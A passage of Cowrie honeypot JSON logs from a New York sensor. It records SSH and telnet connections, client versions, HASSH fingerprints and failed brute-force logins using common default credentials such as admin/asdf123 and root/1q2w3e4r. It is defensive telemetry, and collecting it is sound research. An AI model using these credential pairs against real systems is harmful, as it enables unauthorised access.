0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:12.212628Z","src_ip":"45.156.87.204","session":"a21fc43640d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:12.470998Z","src_ip":"45.156.87.204","session":"a21fc43640d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"db86b8905d6b","protocol":"telnet","message":"New connection: 152.42.224.71:46214 (10.17.0.5:23) [session: db86b8905d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:12.702693Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":33544,"dst_ip":"159.203.135.109","dst_port":22,"session":"78cf8b4ee880","protocol":"ssh","message":"New connection: 170.106.151.211:33544 (159.203.135.109:22) [session: 78cf8b4ee880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:13.019043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:13.023919Z","src_ip":"170.106.151.211","session":"78cf8b4ee880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:13.092496Z","src_ip":"170.106.151.211","session":"78cf8b4ee880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdf123","message":"login attempt [admin/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:13.396879Z","src_ip":"170.106.151.211","session":"78cf8b4ee880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:13.555271Z","src_ip":"45.156.87.204","session":"a21fc43640d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:14.469211Z","src_ip":"170.106.151.211","session":"78cf8b4ee880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34584,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb86da317aef","protocol":"ssh","message":"New connection: 45.156.87.204:34584 (159.203.135.109:22) [session: eb86da317aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:15.757608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:15.763181Z","src_ip":"45.156.87.204","session":"eb86da317aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:15.850724Z","src_ip":"45.156.87.204","session":"eb86da317aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:16.099628Z","src_ip":"45.156.87.204","session":"eb86da317aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":39580,"dst_ip":"159.203.135.109","dst_port":22,"session":"818c0d52a855","protocol":"ssh","message":"New connection: 83.111.76.195:39580 (159.203.135.109:22) [session: 818c0d52a855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:16.468697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:16.473604Z","src_ip":"83.111.76.195","session":"818c0d52a855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:16.671444Z","src_ip":"83.111.76.195","session":"818c0d52a855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.53903818130493,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:16.700896Z","src_ip":"152.42.224.71","session":"397f2c8455a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:17.183882Z","src_ip":"45.156.87.204","session":"eb86da317aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"drcom@123","message":"login attempt [root/drcom@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:17.492344Z","src_ip":"83.111.76.195","session":"818c0d52a855","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:17.937240Z","src_ip":"47.237.167.49","session":"cb827e9fe46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:18.164935Z","src_ip":"47.237.167.49","session":"cb827e9fe46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:18.692312Z","src_ip":"83.111.76.195","session":"818c0d52a855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34588,"dst_ip":"159.203.135.109","dst_port":22,"session":"205f4ddb5d1b","protocol":"ssh","message":"New connection: 45.156.87.204:34588 (159.203.135.109:22) [session: 205f4ddb5d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:19.415208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:19.422496Z","src_ip":"45.156.87.204","session":"205f4ddb5d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:19.504251Z","src_ip":"45.156.87.204","session":"205f4ddb5d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:19.756271Z","src_ip":"45.156.87.204","session":"205f4ddb5d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:20.996022Z","src_ip":"45.156.87.204","session":"205f4ddb5d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.43039798736572,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:21.911698Z","src_ip":"152.42.224.71","session":"aa4d03e407a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34412,"dst_ip":"10.17.0.5","dst_port":23,"session":"47613fd89edf","protocol":"telnet","message":"New connection: 152.42.224.71:34412 (10.17.0.5:23) [session: 47613fd89edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:22.883512Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42266,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e96f3905a78","protocol":"ssh","message":"New connection: 45.156.87.204:42266 (159.203.135.109:22) [session: 9e96f3905a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:23.047368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:23.051908Z","src_ip":"45.156.87.204","session":"9e96f3905a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:23.145018Z","src_ip":"45.156.87.204","session":"9e96f3905a78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:23.393181Z","src_ip":"45.156.87.204","session":"9e96f3905a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.50833034515381,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:23.758429Z","src_ip":"152.42.224.71","session":"c2cfc24dd780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:24.478018Z","src_ip":"45.156.87.204","session":"9e96f3905a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232672691345,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:25.611364Z","src_ip":"152.42.224.71","session":"289af5488269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647342681884766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:26.331991Z","src_ip":"222.112.46.78","session":"5621b43bef1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42282,"dst_ip":"159.203.135.109","dst_port":22,"session":"a744497c9045","protocol":"ssh","message":"New connection: 45.156.87.204:42282 (159.203.135.109:22) [session: a744497c9045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:26.792648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:26.797076Z","src_ip":"45.156.87.204","session":"a744497c9045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:26.878269Z","src_ip":"45.156.87.204","session":"a744497c9045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:27.122817Z","src_ip":"45.156.87.204","session":"a744497c9045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec35665f1bcf","protocol":"telnet","message":"New connection: 152.42.224.71:51346 (10.17.0.5:23) [session: ec35665f1bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:27.335940Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:27.904284Z","src_ip":"47.237.167.49","session":"cb827e9fe46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:28.206912Z","src_ip":"45.156.87.204","session":"a744497c9045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:29.482143Z","src_ip":"47.237.167.49","session":"cb827e9fe46f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42288,"dst_ip":"159.203.135.109","dst_port":22,"session":"9252c7b94297","protocol":"ssh","message":"New connection: 45.156.87.204:42288 (159.203.135.109:22) [session: 9252c7b94297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:30.381766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:30.386474Z","src_ip":"45.156.87.204","session":"9252c7b94297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@